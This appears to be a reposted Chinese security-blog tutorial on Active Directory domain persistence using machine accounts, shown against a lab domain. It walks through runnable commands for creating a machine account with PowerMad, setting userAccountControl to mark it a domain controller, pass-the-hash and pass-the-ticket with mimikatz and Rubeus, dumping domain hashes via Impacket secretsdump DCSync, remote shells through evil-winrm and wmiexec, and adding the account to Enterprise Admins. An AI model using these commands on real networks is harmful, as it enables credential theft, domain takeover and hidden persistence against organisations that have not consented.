1. 前言
在现代网络攻击场景中,机器账户常被利用于权限提升(提权)和横向移动。攻击者可以通过以下两种主要方式实现这一目标:
-
利用机器账户委派权限:通过配置机器账户的委派权限,攻击者可以执行诸如DCSync(域控制器同步)等操作,从而获取域内的哈希值(hash)。 -
篡改机器账户的权限或属性:攻击者可以将任意计算机账户添加到高权限组(如Domain Admins、Domain Controllers、Enterprise Admins),或者修改计算机账户的userAccountControl属性。通过这些操作,攻击者能够在域内进行身份认证(前提是已获取账户密码),并进一步实施提权操作,例如通过DCSync获取域内用户哈希值。
除了上述攻击手段,机器账户还可用于域内权限维持(域维权操作)。攻击者通过将计算机账户添加到高权限组或篡改其userAccountControl属性,利用已知密码进行身份认证,从而在域内长期保持高权限状态,为后续攻击提供便利。
2. userAccountControl说明
在默认配置下,域中的标准用户最多可以创建10个机器账户,这一限制由ms-DS-MachineAccountQuota
属性设定。然而,通过使用Powermad等工具,攻击者可以从已加入域或未加入域的主机中创建新的机器账户,从而绕过这一限制。 为了使机器账户在域环境中显示为域控制器,需要将userAccountControl
属性设置为0x2000
(即SERVER_TRUST_ACCOUNT
)。0x2000对应的十进制数值为8192
。修改此属性需要域管理员级别的权限。 以下是通过ADSI编辑器将userAccountControl
属性修改为8192
的具体步骤:
-
打开ADSI编辑器,连接到目标域控制器。 -
定位到目标机器账户的属性。 -
找到 userAccountControl
属性,并将其值修改为8192。 -
保存更改并关闭编辑器。
通过上述操作,机器账户将被配置为域控制器信任账户,从而获得更高的权限和功能。
3. PowerMad+Active Directory组合
3.1 添加机器账户
在进行权限维持(维权)操作时,攻击者可以通过多种工具在命令行环境中创建机器账户,从而实现对域环境的进一步控制。常用的工具包括Standln、SharpMad 和 PowerMad 等。这些工具能够在不直接接触域控制器的情况下,通过命令行快速创建机器账户,从而绕过某些安全限制。
以下将展示如何使用 PowerMad 在域内添加一个机器账户。
使用 PowerMad 创建机器账户
PowerMad 是一款功能强大的工具,专门用于在域环境中创建机器账户。以下是使用 PowerMad 创建机器账户的具体步骤:
-
准备工作
-
确保攻击机已安装 PowerMad 工具。 -
确保攻击机已加入目标域,或者具备访问域控制器的网络权限。 -
准备一个具有足够权限的域用户凭据(例如域管理员账户)。
-
创建机器账户 打开命令行工具(如 PowerShell),并运行以下命令:
Import-Module .Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local
此时我们便添加机器账户成功了,利用如下命令查看:
net group "domain computers" /domain
3.2 修改机器账户userAccountControl属性值
在域环境中,机器账户的 userAccountControl
属性用于定义账户的类型和行为。默认情况下,创建的机器账户属于域计算机(primaryGroupId
为 515
),表示其为普通域成员计算机。如果需要将机器账户提升为域控制器(primaryGroupId
更改为 516
),可以通过修改 userAccountControl
属性值为 8192(十六进制 0x2000
,即 SERVER_TRUST_ACCOUNT
)。
以下是使用域管理员权限修改机器账户 userAccountControl
属性值的步骤:
-
查询当前机器账户属性
使用 PowerShell 查询机器账户的当前属性,确认其 primaryGroupId
和 userAccountControl
值:
Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
-
修改 userAccountControl 属性值
使用 PowerShell 的 Set-ADComputer
命令将机器账户的 userAccountControl
属性值修改为 8192
:
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }
-
验证修改结果
Get-ADComputer Nayon -Properties primaryGroupId, userAccountControl | Select-Object Name, primaryGroupId, userAccountControl
再次查询机器账户属性,确认修改是否成功:
此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用 : 此处为执行效果。
3.3 获得机器账户hash
由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。
利用Rubeus将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。
Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local
如图所示,成功拿到了机器账户的hash。
4. 利用方式
4.1 PTH传递获得权限
在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。
sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D
★
注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。
4.2 利用PTT获得权限
由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。
★
注意:此处拿到的会话,本人本地测试即使是将机器用户的
userAccountConrol
属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。
利用利用Rubes申请拿到机器账户的hash
Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local
使用keke申请tgt票据,用于下一步的ptt攻击
tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4
kerberos::ptt [email protected][email protected]
此时成功拿到域内hash
4.3 利用impacket套件执行dcsync
使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash
python3 secretsdump.py attack.local/Nayon$:'Password@1!'@10.10.10.165 -just-dc
利用其中的域管NTLM hash与域控机进行通信
4.4 Evil-WinRM通过WinRM远程链接
前提是域管开启WinRM服务,默认端口5985
指定域管用户以及域管用户的NTLM hash 远程链接
evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa
4.5 Impacket套件wmiexec.py远程链接
python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa [email protected]
4.6 加入高权限用户组用以维权
除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。
Get-ADGroupMember "administrators"
使用域管权限的会话添加机器账户Nayon$到高权限用户组内。
可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。
net group "Enterprise admins" Nayon$ /add /domain
利用net group查看是否被添加成功
net group "Enterprise admins" /domain
此时我们便可以使用Impacket中的secretsdump项目获得域内hash
python3 secretsdump.py attack.local/Nayon$:'123456'@10.10.10.165 -just-dc-user krbtgt
原文始发于微信公众号(SecretTeam安全团队):域渗透 - 利用机器账户进行域维权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论